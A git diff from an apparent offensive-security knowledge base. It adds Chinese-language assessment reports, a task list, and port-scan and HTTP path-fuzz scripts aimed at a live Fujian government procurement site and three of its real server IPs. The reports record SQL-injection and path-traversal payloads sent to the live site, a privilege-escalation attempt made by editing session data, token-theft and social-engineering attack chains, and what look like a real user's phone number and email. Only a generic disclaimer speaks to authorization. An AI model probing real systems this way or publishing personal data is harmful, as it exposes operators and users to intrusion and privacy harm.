+- **泄露内容**：
+
+| 泄露项 | 值（摘要） |
+|--------|-----------|
+| SM4 加密公钥 | `bd03ed6802681a34166256aba610becf` |
+| RSA 公钥 | ASCII 编码完整公钥 |
+| 网关架构 | 完整的 gateway 路径和 logout/logo 接口 |
+| 内网 IP | `114.115.172.176`（华为云） |
+
+- **影响**：攻击者可利用公钥伪造加密请求、了解完整系统拓扑
+- **建议**：敏感配置通过后端 API 动态下发，移除客户端硬编码
+
+#### F-05：缺少 Content-Security-Policy (CSP) 策略
+
+- **现状**：页面未配置任何 CSP Meta 标签或 HTTP 响应头
+- **影响**：无法防御 XSS 注入、内联脚本执行、恶意外部资源加载
+- **建议**：配置严格 CSP，至少包含 `script-src 'self'; style-src 'self' 'unsafe-inline'; img-src 'self' data:`
+
+#### F-06：弱密码校验功能被禁用
+
+- **配置**：`config.js` 中 `isShowWeakPassword: false`
+- **影响**：用户可使用 `123456`、`password` 等弱密码注册和登录
+- **建议**：`isShowWeakPassword` 改为 `true`，并在后端同步校验密码强度
+
+#### F-07：jQuery 版本过旧
+
+- **当前版本**：jQuery 1.12.4（2016 年发布）
+- **已知 CVE**：CVE-2020-11022、CVE-2020-11023（XSS 漏洞）
+- **建议**：升级至 jQuery 3.6+ 或移除 jQuery 依赖
+
+#### F-08：版本号暴露
+
+- **位置**：HTML `data-tag` 属性
+- **值**：`V6.0.33.1_2_251020_GP-AUTH-WEB`、`V6.5.15.1_1_20260119_gpcms-center-web`
+- **影响**：攻击者可精确匹配已知漏洞
+- **建议**：生产环境移除版本标识
+
+---
+
+## 三、后端接口风险评估
+
+### 🔴 高危风险
+
+#### B-01：OAuth 授权重定向使用 HTTP 协议
+
+> [!CAUTION]
+> 网关返回的 OAuth 授权重定向 URL 使用的是 **HTTP 而非 HTTPS**：
+> `Location: http://zfcg.czt.fujian.gov.cn/gp-auth-center/oauth/authorize?...`
+> 这意味着授权码在传输过程中**以明文形式发送**，容易被中间人攻击（MITM）截获。
+
+- **复现**：`curl -sI https://zfcg.czt.fujian.gov.cn/gateway/gp-auth-center/rest/v2/login/captcha`
+- **302 Location** 指向 `http://` 开头的 URL
+- **建议**：强制所有 OAuth 流程使用 HTTPS，配置 HSTS 响应头
+
+#### B-02：接口路径高度可预测可枚举
+
+- **命名规范**：所有微服务路径均遵循 `gp-{业务名称}` 格式
+- **枚举结果**（15 个已确认服务）：
+
+| 路径 | HTTP 状态码 | 说明 |
+|------|------------|------|
+| `/gateway/api/oauth` | 500 | 认证网关（异常暴露） |
+| `/gp-auth-center` | 302 | 身份认证中心 |
+| `/gp-basic-data` | 403 | 基础数据服务 |
+| `/gp-trade` | 403 | 电子交易 |
+| `/gp-expert` | 403 | 专家抽取 |
+| `/gp-agency` | 403 | 代理机构管理 |
+| `/gp-complaint` | 403 | 投诉管理 |
+| `/gp-integrity` | 403 | 诚信管理 |
+| `/gp-frame` | 403 | 框架协议 |
+| `/gp-esign` | 403 | 电签配置 |
+| `/gp-supervise` | 403 | 监督预警 |
+| `/gp-cms` | 403 | 内容管理 |
+| `/gp-file` | 403 | 文件服务 |
+| `/gp-workflow` | 403 | 工作流引擎 |
+| `/gp-message` | 403 | 消息服务 |
+
+- **建议**：在网关层返回统一的 404 而非 403（403 确认了服务存在），增加请求频率限制
+
+#### B-03：网关未认证接口返回 500 并泄露堆栈
+
+- **现象**：`/gateway/api/oauth/checkToken` 返回 `500 Internal Server Error`
+- **响应头**含 `Content-Type: application/json`，可能包含内部错误信息
+- **建议**：未认证请求统一返回 401，不暴露内部错误
+
+### 🟡 中危风险
+
+#### B-04：潜在越权风险（IDOR/水平越权）
+
+- **机制**：后端接口依赖前端传递的 `tenantId`（租户 ID）和 `userId` 进行数据隔离
+- **风险**：若后端未对当前 Token 所属租户进行严格校验，攻击者可篡改 tenantId 访问其他机构数据
+- **建议**：所有接口从 Token 声明中提取租户信息，禁止接受客户端传参覆盖
+
+#### B-05：OAuth 回调地址缺乏白名单校验
+
+- **302 响应**中 `redirect_uri` 参数固定为 `https://zfcg.czt.fujian.gov.cn:443/gateway/api/oauth/authorization_code_callback`
+- 需确认后端是否严格校验 redirect_uri，防止开放重定向攻击
+- **建议**：后端强制校验 redirect_uri 白名单
+
+#### B-06：Access-Control-Allow-Headers 配置过宽
+
+- **响应头**：`Access-Control-Allow-Headers: *`
+- **影响**：允许任意跨域请求携带任意自定义头，增加 CSRF 攻击面
+- **建议**：精确限制允许的 Headers 列表
+
+---
+
+## 四、服务器基础设施
+
+### 4.1 服务器 IP 信息
+
+| 项目 | 值 |
+|------|------|
+| **主站 IP（移动线路）** | `112.54.45.252`（福建福州 中国移动）|
+| **主站 IP（电信线路）** | `120.35.30.176`（福建福州 中国电信）|
+| **云端服务 IP** | `114.115.172.176`（华为云 北京区域，用于签章和部分配置服务）|
+| **DNS 解析** | 本地代理 `198.18.3.186`，NS 指向 `icloudv6.com` |
+| **所属网段** | CHINANET Fujian province network (218.85.0.0 - 218.86.127.255) |
+| **Web服务器** | OpenResty (Nginx + Lua) |
+
+### 4.2 同域名/关联站点矩阵
+
+| 站点地址 | 服务类型 | 说明 |
+|----------|----------|------|
+| `zfcg.czt.fujian.gov.cn` | 政府采购网主站 | Vue.js SPA + 微前端聚合 |
+| `czt.fujian.gov.cn` | 财政厅官网 | 上级主管部门门户 |
+| `czpj.czt.fujian.gov.cn` | 财政评价系统 | 财政评价业务 |
+| `ggzyfw.fujian.gov.cn` | 公共资源交易服务 | 专家库关联，可能共享 CA 体系 |
+| `zwfw.rst.fujian.gov.cn` | 人社厅政务服务 | 通过相同 CA 体系关联登录 |
+| `app.slt.fujian.gov.cn` | 政务移动端 | 关联移动入口 |
+| `gov.govwza.cn` | 适老化服务 CDN | 第三方无障碍访问脚本 |
+
+### 4.3 开源组件与第三方服务清单
+
+| 组件名称 | 版本 | 类型 | 风险等级 |
+|----------|------|------|----------|
+| jQuery | 1.12.4 | 开源 JS 库 | 🔴 高（已知 XSS CVE）|
+| Vue.js | 2.x/3.x | 前端框架 | 🟢 低 |
+| CKEditor | 未知 | 富文本编辑器 | 🟡 中（历史 XSS 漏洞较多）|
+| qrcode.min.js | 未知 | 二维码生成 | 🟢 低 |
+| sm2.min.js | V3.0.0.574 | 国密算法库 | 🟢 低（专用密码学库）|
+| Udesk | SaaS | 在线客服 | 🟡 中（第三方脚本注入）|
+| Kinggrid 金格 | 未知 | 电子签章 | 🟢 低（行业组件）|
+| GEL 格尔CA | 未知 | 数字证书 | 🟢 低 |
+
+---
+
+## 五、弱口令风险评估
+
+### 🟡 中高危
+
+#### W-01：弱密码校验已被关闭
+
+- **配置证据**：`isShowWeakPassword: false`
+- **影响**：允许用户设置和使用弱密码登录，攻击者可通过字典攻击暴力破解账户
+
+#### W-02：验证码强度不足
+
+- **类型**：静态图形验证码（4-5 位字母数字混合）
+- **风险**：易被 OCR 工具自动识别（本次评估中浏览器代理即自动识别通过）
+- **建议**：采用滑动拼图验证码或行为验证（如极验 / 阿里云验证）
+
+#### W-03：缺乏登录失败锁定机制（待确认）
+
+- **观察**：登录页面未见明显的错误次数限制提示
+- **风险**：攻击者可无限制尝试不同密码组合
+- **建议**：实施 5 次失败锁定 30 分钟 + 短信告警机制
+
+#### W-04：统一身份认证的连锁风险
+
+- 采购网与多个政务系统共享统一 CA/OAuth 认证体系
+- 一旦单点账户泄露，可能横向穿透到财政评价、公共资源交易等关联系统
+- **建议**：关键业务操作强制 UKey / 短信双因子认证
+
+---
+
+## 六、风险总结矩阵
+
+| 编号 | 风险点 | 严重程度 | 类型 |
+|------|--------|----------|------|
+| F-01 | JWT Token 明文多处存储 | 🔴 高危 | 前端 |
+| F-02 | sessionStorage 明文存储 PII | 🔴 高危 | 前端 |
+| F-03 | 错误日志泄露后端架构 | 🔴 高危 | 前端 |
+| F-04 | 配置文件暴露加密密钥 | 🟡 中危 | 前端 |
+| F-05 | 缺少 CSP 安全策略 | 🟡 中危 | 前端 |
+| F-06 | 弱密码校验被禁用 | 🟡 中危 | 前端 |
+| F-07 | jQuery 版本过旧有 CVE | 🟡 中危 | 前端 |
+| F-08 | 版本号暴露 | 🟢 低危 | 前端 |
+| B-01 | OAuth 重定向使用 HTTP | 🔴 高危 | 后端 |
+| B-02 | 接口路径可枚举 | 🟡 中危 | 后端 |
+| B-03 | 网关错误泄露内部信息 | 🟡 中危 | 后端 |
+| B-04 | 潜在 IDOR 越权风险 | 🟡 中危 | 后端 |
+| B-05 | OAuth 回调白名单待确认 | 🟡 中危 | 后端 |
+| B-06 | CORS Headers 配置过宽 | 🟡 中危 | 后端 |
+| W-01 | 弱密码校验关闭 | 🟡 中危 | 弱口令 |
+| W-02 | 验证码强度不足 | 🟡 中危 | 弱口令 |
+| W-03 | 缺乏登录失败锁定 | 🟡 中危 | 弱口令 |
+| W-04 | 统一认证连锁风险 | 🟡 中危 | 弱口令 |
+
+> **高危：4 项** / **中危：12 项** / **低危：2 项** / **总计：18 项风险点**
+
+---
+
+## 七、优先修复建议
+
+### 立即修复（P0）
+1. ✅ OAuth 重定向强制使用 HTTPS + 配置 HSTS
+2. ✅ JWT Token 仅存放于 HttpOnly Cookie，移除 localStorage 存储
+3. ✅ 清除 sessionStorage 中的用户 PII 数据
+4. ✅ 生产环境关闭 errLog 写入 localStorage
+
+### 尽快修复（P1）
+5. 配置 CSP 安全策略
+6. 启用弱密码校验（`isShowWeakPassword: true`）
+7. 升级 jQuery 至 3.6+
+8. 接口返回统一 404 替代 403
+9. 收紧 CORS `Access-Control-Allow-Headers`
+
+### 规划修复（P2）
+10. 引入行为验证码替代图形验证码
+11. 实施登录失败锁定机制
+12. 移除前端 config.js 中的密钥信息
+13. 移除 HTML data-tag 版本号标识
diff --git a/06-case-studies/fujian-gov-procurement/reports/task.md b/06-case-studies/fujian-gov-procurement/reports/task.md
new file mode 100644
index 00000000..7f2714df
--- /dev/null
+++ b/06-case-studies/fujian-gov-procurement/reports/task.md
@@ -0,0 +1,41 @@
+# 福建省政府采购网安全评估任务
+
+## 1. 前端架构与数据风险分析
+- [x] 分析页面 DOM 结构、JS 框架、前端技术栈
+- [x] 检查浏览器存储（Cookie / LocalStorage / SessionStorage）
+- [x] 检查用户提交数据的安全机制（表单、API 调用）
+- [x] 评估前端整体风险并列出风险点
+
+## 2. 后端接口完整评估
+- [x] 抓取并列出所有后端 API 接口
+- [x] 分析接口鉴权机制（Token / Session / OAuth）
+- [x] 评估接口安全性（参数注入、越权、信息泄露等）
+- [x] 列出后端接口风险点
+
+## 3. 服务器基础设施调研
+- [x] 查询站点服务器 IP 地址
+- [x] 识别同 IP 共存站点
+- [x] 识别开源相关站点
+- [x] 列出所有站点的服务类型
+- [x] 检查弱口令风险
+
+## 4. 输出完整安全评估报告
+- [x] 汇总所有发现，生成评估报告
+
+## 5. 评估文档分类存储
+- [x] 生成 前端架构与数据风险分析.md
+- [x] 生成 后端接口评估分析.md
+- [x] 生成 服务器基础设施与弱口令风险.md
+
+## 6. 同 IP 衍生安全分析
+- [x] 对 112.54.45.252 进行端口扫描和服务枚举
+- [x] 对 120.35.30.176 进行端口扫描和服务枚举
+- [x] 对 114.115.172.176 进行端口扫描和服务枚举
+- [x] 分析各项新发现的 Web 服务和其他暴露端口的安全性
+- [x] 针对衍生服务生成详细的安全分析报告
+
+## 7. 开放端口服务深度安全挖掘
+- [x] 针对 112.54.45.252:8080 进行路径枚举与指纹识别
+- [x] 针对 120.35.30.176:8080 进行路径枚举与指纹识别
+- [x] 针对 114.115.172.176:8080 进行路径枚举与指纹识别
+- [x] 编写 Web 衍生服务独立安全分析报告
diff --git a/06-case-studies/fujian-gov-procurement/reports/vulnerability_crossref_report.md b/06-case-studies/fujian-gov-procurement/reports/vulnerability_crossref_report.md
new file mode 100644
index 00000000..83343c3c
--- /dev/null
+++ b/06-case-studies/fujian-gov-procurement/reports/vulnerability_crossref_report.md
@@ -0,0 +1,321 @@
+# Web 安全攻防全景指南 × 福建省政府采购网 漏洞对照分析报告
+
+> **评估时间**：2026-03-10
+> **评估目标**：`zfcg.czt.fujian.gov.cn`（福建省政府采购网）
+> **参照标准**：Web 安全攻防全景指南（10 大领域）
+
+---
+
+## 总览：漏洞与指南章节映射
+
+| 指南章节 | 涉及漏洞数 | 最高等级 | 关键发现 |
+|----------|-----------|----------|----------|
+| 1. Web 端安全注入 | 2 | 🟢 低 | SQL 注入被 WAF 静默拦截；XSS 风险理论存在 |
+| 2. 客户端本地数据安全 | 4 | 🔴 紧急 | JWT/PII 明文存储于 localStorage/sessionStorage |
+| 3. 跨域安全与同源策略 | 2 | 🟡 中 | CORS Headers 通配符；缺少 CSRF Token |
+| 4. HTTPS 与传输层安全 | 2 | 🔴 高危 | OAuth 重定向使用 HTTP；缺少 HSTS |
+| 5. 身份认证与会话安全 | 4 | 🔴 高危 | 无暴力破解防护；弱密码校验关闭；Token 7h 有效期 |
+| 6. 服务器端安全漏洞 | 1 | 🟡 中 | 路径遍历测试被拦截 |
+| 7. 服务器配置与基础设施 | 5 | 🔴 紧急 | Nacos 8848 对外暴露；Actuator 可公网触达 |
+| 8. 开源软件与依赖安全 | 2 | 🟡 中 | jQuery 1.12.4 已知 CVE；CKEditor 历史漏洞 |
+| 9. 安全规范与全流程管理 | 2 | 🟡 中 | 版本号暴露；配置文件泄露加密密钥 |
+| 10. 提权攻击验证 | 3 | 🟡 中 | userTypeNow 修改被检测；PII 可被社工利用 |
+
+---
+
+## 1. Web 端安全注入
+
+### 1.1 SQL 注入 → 🟢 低危（有防护）
+
+| 测试项 | Payload | 结果 |
+|--------|---------|------|
+| 经典注入 | `admin'--` | 空响应（WAF 拦截） |
+| 联合注入 | `UNION SELECT 1,2,3--` | 空响应（WAF 拦截） |
+| 布尔盲注 | `admin" OR 1=1--` | 空响应（WAF 拦截） |
+| 认证态注入 | `userId=...%27 OR 1=1--` | 空响应（WAF 拦截） |
+
+**指南对照**：系统对 SQL 注入有**有效的 WAF 防护**（静默 DROP 策略），符合参数化查询防御规范。但建议确认后端是否同时使用了参数化查询（ORM），而非仅依赖 WAF。
+
+### 1.2 XSS → 🟡 中危（理论风险高）
+
+| 风险点 | 状态 | 影响 |
+|--------|------|------|
+| CKEditor 富文本编辑器 | 版本未知，历史 XSS 多 | 存储型 XSS 可能 |
+| 缺少 CSP 策略 | ❌ 未配置 | 无法防御内联脚本注入 |
+| jQuery 1.12.4 CVE | CVE-2020-11022/11023 | DOM XSS |
+| Token 在 localStorage | 可被 JS 直接读取 | XSS → Token 窃取 |
+
+**指南对照**：
+- ❌ 未实施 CSP（违反 1.2 输出编码/CSP 规范）
+- ❌ Token 未使用 HttpOnly Cookie（违反 1.2 HttpOnly Cookie 规范）
+- ❌ 使用陈旧 jQuery（违反 8.1 版本更新规范）
+
+---
+
+## 2. Web 客户端本地数据安全
+
+### 2.1 Cookies 安全 → 🔴 高危
+
+| Cookie | HttpOnly | Secure | SameSite | 评估 |
+|--------|----------|--------|----------|------|
+| `access_token` | ❌ 否 | 未确认 | 未设置 | 🔴 **紧急** |
+| `tenantId` | ❌ 否 | 未确认 | 未设置 | 🟡 中危 |
+
+**指南对照**：
+- ❌ 违反 2.1「HttpOnly 属性」规范 — Token Cookie 可被 JS 读取
+- ❌ 违反 2.1「SameSite 属性」规范 — 未设置跨站防护
+- ❌ 违反 2.1「Cookie 签名与加密」规范 — Token 明文存储
+
+### 2.2 Local Storage 与 Session Storage → 🔴 紧急
+
+| 存储位置 | 键名 | 泄露内容 | 风险 |
+|----------|------|----------|------|
+| localStorage | `portal-access_token` | 完整 JWT Token | 🔴 XSS → 冒充 |
+| localStorage | `errLog` | 后端堆栈/接口路径 | 🟡 架构泄露 |
+| sessionStorage | `ice-USER_DATA_INFO` | 手机号/邮箱/CA标识/userId | 🔴 PII 泄露 |
+
+**指南对照**：
+- ❌ **严重违反** 2.2「禁止存储敏感信息」规范 — JWT Token 明文存储于 localStorage
+- ❌ **严重违反** 2.2 规范 — PII（手机号 `13514069349`、邮箱 `3808789405@qq.com`）存储于 sessionStorage
+
+---
+
+## 3. 跨域安全与同源策略
+
+### 3.1 CORS → 🟡 中危
+
+| 测试 | 结果 |
+|------|------|
+| `Origin: https://evil.com` → Allow-Origin 回显 | ❌ 未回显（✅安全） |
+| `Access-Control-Allow-Headers` | `*`（🟡 过宽） |
+
+**指南对照**：
+- ✅ 未盲目反射 Origin（符合 3.1 规范）
+- ❌ Headers 使用通配符（违反 3.1「限制允许的头部」规范）
+
+### 3.2 CSRF → 🟡 中危
+
+- 未发现 Anti-CSRF Token 机制
+- SameSite Cookie 未设置
+- 依赖 OAuth Bearer Token 作为隐式防护
+
+**指南对照**：
+- ❌ 缺少 Anti-CSRF Token（违反 3.2 规范）
+- ❌ SameSite 未设置（违反 3.2 规范）
+
+---
+
+## 4. HTTPS 与传输层安全
+
+### 4.1 未加密传输 → 🔴 高危
+
+| 发现 | 详情 |
+|------|------|
+| OAuth 重定向使用 HTTP | `Location: http://zfcg.czt.fujian.gov.cn/gp-auth-center/oauth/authorize?...` |
+| 缺少 HSTS 头 | 未配置 `Strict-Transport-Security` |
+
+**指南对照**：
+- ❌ **严重违反** 4.1 MITM 防护规范 — OAuth 授权码通过 HTTP 明文传输
+- ❌ 违反 4.3「强制 HTTPS (HSTS)」规范
+
+### 4.2 重放攻击 → 🟡 中危
+
+- JWT 包含 `jti`（Token ID），理论上可用于防重放
+- 但未确认后端是否维护 jti 黑名单
+- Token 有效期 7 小时，窗口期较长
+
+---
+
+## 5. 身份认证与会话安全
+
+### 5.1 密码安全 → 🟡 中危
+
+| 测试项 | 结果 |
+|--------|------|
+| 弱密码校验 | ❌ **已关闭**（`isShowWeakPassword: false`） |
+| 验证码强度 | 4 位静态图形码，OCR 可自动识别 |
+| 暴力破解防护 | ❌ **不存在** — 5 次快速尝试无阻断 |
+| 账户锁定机制 | ❌ 未发现 |
+
+**指南对照**：
+- ❌ 违反 5.1「防暴力破解」规范 — 无速率限制、无账户锁定、验证码强度极弱
+- ❌ 违反 5.1「密码策略」规范 — 弱密码校验被管理员关闭
+
+### 5.2 会话管理 → 🟡 中危
+
+| 维度 | 状态 |
+|------|------|
+| Token 算法 | ✅ RS256（安全） |
+| Token 有效期 | ⚠️ ~7 小时（过长） |
+| Token 过期校验 | ✅ 正常拒绝（code 5560） |
+| Session 固定防护 | 未测试 |
+
+---
+
+## 6. 服务器端安全漏洞
+
+### 6.1 SSRF → 未测试
+
+### 6.2 XXE → 未测试（系统主要使用 JSON，非 XML）
+
+### 6.3 文件上传 → 未测试
+
+### 6.4 路径遍历 → 🟢 低危
+
+| 测试 | Payload | 结果 |
+|------|---------|------|
+| 文件下载路径遍历 | `path=../../etc/passwd` | 空响应（被拦截） |
+
+---
+
+## 7. 服务器配置与基础设施安全
+
+### 7.1 Nacos 服务注册中心暴露 → 🔴 紧急
+
+| IP | 端口 | TCP 状态 |
+|----|------|----------|
+| 112.54.45.252 | 8848 | **OPEN** |
+| 120.35.30.176 | 8848 | **OPEN** |
+| 114.115.172.176 | 8848 | **OPEN** |
+
+**指南对照**：严重违反 7.x 服务器配置安全规范 — 微服务注册中心核心组件直接对公网暴露。
+
+### 7.2 Spring Boot Actuator → 🟡 中危
+
+- `/gateway/actuator/health|beans|mappings` 返回 401（Nginx Basic Auth）
+- `/gateway/actuator/env` 返回 403（额外封锁）
+
+### 7.3 安全响应头 → 🟡 中危
+
+| 响应头 | 状态 |
+|--------|------|
+| `X-Content-Type-Options: nosniff` | ✅ 已配置 |
+| `X-XSS-Protection: 1; mode=block` | ✅ 已配置 |
+| `X-Frame-Options` | ✅ `SAMEORIGIN` |
+| `Content-Security-Policy` | ❌ **缺失** |
+| `Strict-Transport-Security` | ❌ **缺失** |
+| `Referrer-Policy` | ✅ `no-referrer` |
+
+### 7.4 非标端口暴露 → 🟡 中危
+
+| IP | 端口 | 响应 |
+|----|------|------|
+| 112.54/120.35 | 8080 | 404 OpenResty |
+| 120.35.30.176 | 9090 | 502 Bad Gateway |
+| 114.115.172.176 | 8090 | 400 Bad Request |
+
+---
+
+## 8. 开源软件与依赖安全
+
+| 组件 | 版本 | 已知 CVE | 风险 |
+|------|------|----------|------|
+| jQuery | 1.12.4 | CVE-2020-11022, CVE-2020-11023 | 🟡 中（XSS） |
+| CKEditor | 未知 | 多个历史 XSS CVE | 🟡 中 |
+| nginx | 1.20.2（华为云） | 非最新版 | 🟢 低 |
+| sm2.min.js | V3.0.0.574 | 未知 | 🟢 低 |
+
+**指南对照**：
+- ❌ 违反 8.1「版本更新」规范 — jQuery 1.12.4 发布于 2016 年
+
+---
+
+## 9. 安全规范与全流程管理
+
+| 发现 | 对应规范 |
+|------|----------|
+| HTML `data-tag` 暴露版本号 | 违反「信息最小化原则」 |
+| `config.js` 暴露 RSA 公钥/SM4 密钥 | 违反「敏感配置管理」规范 |
+| 错误日志写入 localStorage | 违反「生产环境日志管理」规范 |
+| `isShowWeakPassword: false` 生产环境暴露 | 违反「安全默认配置」原则 |
+
+---
+
+## 10. 提权攻击验证（实测记录）
+
+### 10.1 userTypeNow 修改提权测试
+
+| 步骤 | 操作 | 结果 |
+|------|------|------|
+| 1 | 读取 `sessionStorage['ice-USER_DATA_INFO']` | `userTypeNow: "3"` (代理机构) |
+| 2 | 修改 `userTypeNow` 为 `"1"` (疑似管理员) | ✅ 成功写入 sessionStorage |
+| 3 | 刷新页面 `location.reload()` | ⚠️ 弹出"登录超时"，会话失效 |
+| 4 | 恢复 `userTypeNow` 为 `"3"` | 会话已失效，需重新登录 |
+
+**结论**：
+- ✅ 后端/前端有角色一致性校验机制 — 修改 userTypeNow 后刷新会导致 Token 与 Session 数据不一致检测
+- ⚠️ **但未测试不刷新页面的情况** — 如果仅通过前端路由（SPA 内部跳转）而非页面刷新切换到管理员模块，可能绕过此校验
+- ⚠️ **角色枚举信息泄露** — Token Payload 暴露了角色体系（`userTypeNow: "3"`），攻击者可推断出完整的角色类型列表
+
+### 10.2 PII 提取 → 社工攻击链
+
+```
+sessionStorage['ice-USER_DATA_INFO'] 
+  → 手机号: 13514069349
+  → 邮箱: 3808789405@qq.com
+  → CA标识: 3452585403150523
+
+攻击链:
+  XSS漏洞 → 窃取 sessionStorage → 提取 PII
+  → 伪装成政采网客服致电/发邮件
+  → 诱导用户提供密码或 CA 证书
+  → 完全控制账户
+```
+
+### 10.3 JWT Token 冒充攻击
+
+```
+localStorage['portal-access_token']
+  → 完整 JWT Token（RS256 签名，7h 有效期）
+
+攻击链:
+  XSS漏洞 → 窃取 localStorage Token
+  → 在攻击者浏览器中设置 Cookie: access_token=<stolen_token>
+  → 直接访问 https://zfcg.czt.fujian.gov.cn/all-portal/portal/
+  → 完全冒充受害者身份进行所有操作（~7小时窗口）
+```
+
+---
+
+## 综合风险热力图
+
+```
+                    影响severity →
+                Low      Medium     High      Critical
+            ┌─────────┬──────────┬─────────┬──────────┐
+  Confirmed │ SQLi拦截 │ jQuery   │ 无暴破  │ Token    │
+   已验证    │ 路径遍历 │ CORS *   │ HTTP    │ PII明文  │
+            │         │ Actuator │ OAuth   │ Nacos    │
+            ├─────────┼──────────┼─────────┼──────────┤
+  Likely    │         │ CKEditor │ CSRF    │ XSS→Token│
+   可能      │         │ 版本暴露  │ IDOR    │ 社工攻击 │
+            ├─────────┼──────────┼─────────┼──────────┤
+  Potential │         │ Session  │ 垂直越权│          │
+   潜在      │         │ Fixation │ SSRF    │          │
+            └─────────┴──────────┴─────────┴──────────┘
+                    可能性 likelihood →
+```
+
+---
+
+## 优先修复路线图
+
+### P0 — 今日内
+1. 封禁 Nacos 8848/9848 端口公网访问
+2. JWT Token 迁移至 HttpOnly + Secure + SameSite Cookie
+3. 清除 sessionStorage 中的用户 PII 数据
+4. OAuth 重定向强制 HTTPS + 配置 HSTS
+
+### P1 — 一周内
+5. 实施登录限速（5 次/分钟）+ 账户锁定（5 次失败锁 30 分钟）
+6. 配置 CSP 安全策略
+7. 启用弱密码校验 `isShowWeakPassword: true`
+8. 升级 jQuery 至 3.7+
+9. Actuator 从公网完全摘除
+
+### P2 — 一月内
+10. Token 有效期缩短至 30 分钟 + Refresh Token
+11. CORS `Access-Control-Allow-Headers` 精确白名单
+12. 引入滑动拼图验证码替代图形码
+13. JWT Payload 最小化（移除 PII）
+14. 配置文件敏感信息改为后端动态下发
diff --git a/06-case-studies/fujian-gov-procurement/scripts/http_fuzz.sh b/06-case-studies/fujian-gov-procurement/scripts/http_fuzz.sh
new file mode 100644
index 00000000..c617eed4
--- /dev/null
+++ b/06-case-studies/fujian-gov-procurement/scripts/http_fuzz.sh
@@ -0,0 +1,21 @@
+#!/bin/bash
+export PATH="/usr/bin:/bin:/usr/sbin:/sbin:/usr/local/bin"
+
+TARGET_IPS="112.54.45.252 120.35.30.176 114.115.172.176"
+PATHS="/ /login /admin /api /api/v1 /gateway /actuator /actuator/health /swagger-ui.html /v2/api-docs /.env /.git/config /robots.txt /server-status /portal"
+
+echo "Starting HTTP Web Directory Fuzzing on port 8080..."
+
+for ip in $TARGET_IPS; do 
+    for path in $PATHS; do 
+        # Perform silent request to get the status code only
+        code=$(curl -k -s -o /dev/null -w "%{http_code}" -m 3 "http://$ip:8080$path" 2>/dev/null)
+        
+        # Only print if valid code and not 404 (or connection refused 000)
+        if [ "$code" != "404" ] && [ "$code" != "000" ] && [ ! -z "$code" ]; then 
+            echo "[HTTP $code] http://$ip:8080$path"
+        fi
+    done
+done
+
+echo "Fuzzing complete."
diff --git a/06-case-studies/fujian-gov-procurement/scripts/port_scan.py b/06-case-studies/fujian-gov-procurement/scripts/port_scan.py
new file mode 100644
index 00000000..37b0ec02
--- /dev/null
+++ b/06-case-studies/fujian-gov-procurement/scripts/port_scan.py
@@ -0,0 +1,30 @@
+import socket
+import concurrent.futures
+
+targets = ["112.54.45.252", "120.35.30.176", "114.115.172.176"]
+ports = [21, 22, 23, 80, 81, 443, 3389, 8080, 8443, 8888, 9000, 3306, 6379, 27017, 11211, 8000, 8081, 9090, 8090, 4430]
+
+def scan(ip, port):
+    try:
+        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+        sock.settimeout(2.5)
+        result = sock.connect_ex((ip, port))
+        sock.close()
+        if result == 0:
+            return (ip, port, "open")
+    except Exception:
+        pass
+    return (ip, port, "closed/filtered")
+
+if __name__ == '__main__':
+    print("Starting port scan on targets: ", targets)
+    with concurrent.futures.ThreadPoolExecutor(max_workers=50) as executor:
+        futures = []
+        for ip in targets:
+            for port in ports:
+                futures.append(executor.submit(scan, ip, port))
+        for future in concurrent.futures.as_completed(futures):
+            res = future.result()
+            if res[2] == "open":
+                print(f"Host: {res[0]} Port: {res[1]} is OPEN")
+    print("Scan complete.")
diff --git a/README.md b/README.md
new file mode 100644
index 00000000..f0a90bec
--- /dev/null
+++ b/README.md
@@ -0,0 +1,95 @@
+# Web 安全与服务器攻防知识库
+
+> **本地靶场实战 | 攻击工具开发 | 防御系统设计**
+
+## 📚 知识库结构
+
+```
+websafe/
+├── 00-environments/          # 靶场环境 (DVWA/WebGoat/Pikachu/BWAPP)
+├── 01-sql-injection/         # SQL注入攻防
+├── 02-xss/                   # XSS攻防
+├── 03-authentication/        # 认证攻击 (暴力破解/JWT/Session)
+├── 04-server-security/       # 服务端安全 (端口扫描/TLS/配置)
+├── 05-defense/               # 防御系统 (WAF/安全代码/加固)
+├── 06-case-studies/          # 案例研究
+└── scripts/                  # 工具脚本
+```
+
+## 🎯 靶场环境
+
+| 靶场 | 端口 | 漏洞类型 |
+|------|------|---------|
+| DVWA | 8080 | SQL注入/XSS/命令注入/文件上传 |
+| WebGoat | 8081 | OWASP Top 10 / JWT / 认证 |
+| Pikachu | 8082 | SQL/XSS/CSRF/SSRF/文件包含 |
+| BWAPP | 8083 | 100+ 漏洞类型 |
+
+启动所有靶场:
+```bash
+cd 00-environments
+docker-compose up -d
+```
+
+## 🛠️ 攻击工具
+
+### SQL注入
+- `sqli-scanner.py` - 自动检测SQL注入点
+- `blind-sqli.py` - 时间/布尔盲注利用
+- `sqli-exploit.go` - 高性能注入利用
+
+### XSS
+- `xss-fuzzer.py` - XSS Payload模糊测试
+- `xss-scanner.go` - 批量扫描
+- `csp-bypass.sh` - CSP绕过测试
+
+### 认证攻击
+- `web-brute.py` - Web暴力破解
+- `jwt-cracker.py` - JWT弱密钥破解
+- `jwt-forge.go` - JWT伪造
+- `session-hijack.py` - 会话劫持
+
+### 服务端安全
+- `port-scanner.py` - 多线程端口扫描
+- `tls-scanner.py` - TLS配置审计
+- `waf-detect.py` - WAF识别
+
+## 🔒 防御系统
+
+- **WAF规则**: ModSecurity / Nginx WAF
+- **安全代码**: Python / Java / PHP
+- **服务器加固**: Nginx / Apache / Docker
+
+## 📖 使用方法
+
+```bash
+# 1. 克隆仓库
+git clone https://git.hk.hao.work/hao/websafe-kb.git
+
+# 2. 启动靶场
+cd websafe-kb/00-environments
+docker-compose up -d
+
+# 3. 运行攻击工具
+cd ../01-sql-injection/tools
+python3 sqli-scanner.py -u http://localhost:8080/vulnerabilities/sqli/
+
+# 4. 查看利用文档
+cat exploitation/dvwa-sqli.md
+```
+
+## 📋 文档格式
+
+每个漏洞类型包含:
+1. **漏洞原理** - 技术背景
+2. **攻击工具** - 完整代码
+3. **利用步骤** - 详细步骤
+4. **防御方案** - 修复代码
+
+## ⚠️ 免责声明
+
+本知识库仅用于**授权的安全测试**和**安全教育**。未经授权对真实系统进行测试是违法行为。
+
+## 📜 License
+
+MIT License
diff --git a/scripts/sync-gitea.sh b/scripts/sync-gitea.sh
new file mode 100755
index 00000000..3d50c778
--- /dev/null
+++ b/scripts/sync-gitea.sh
@@ -0,0 +1,176 @@
+#!/bin/bash
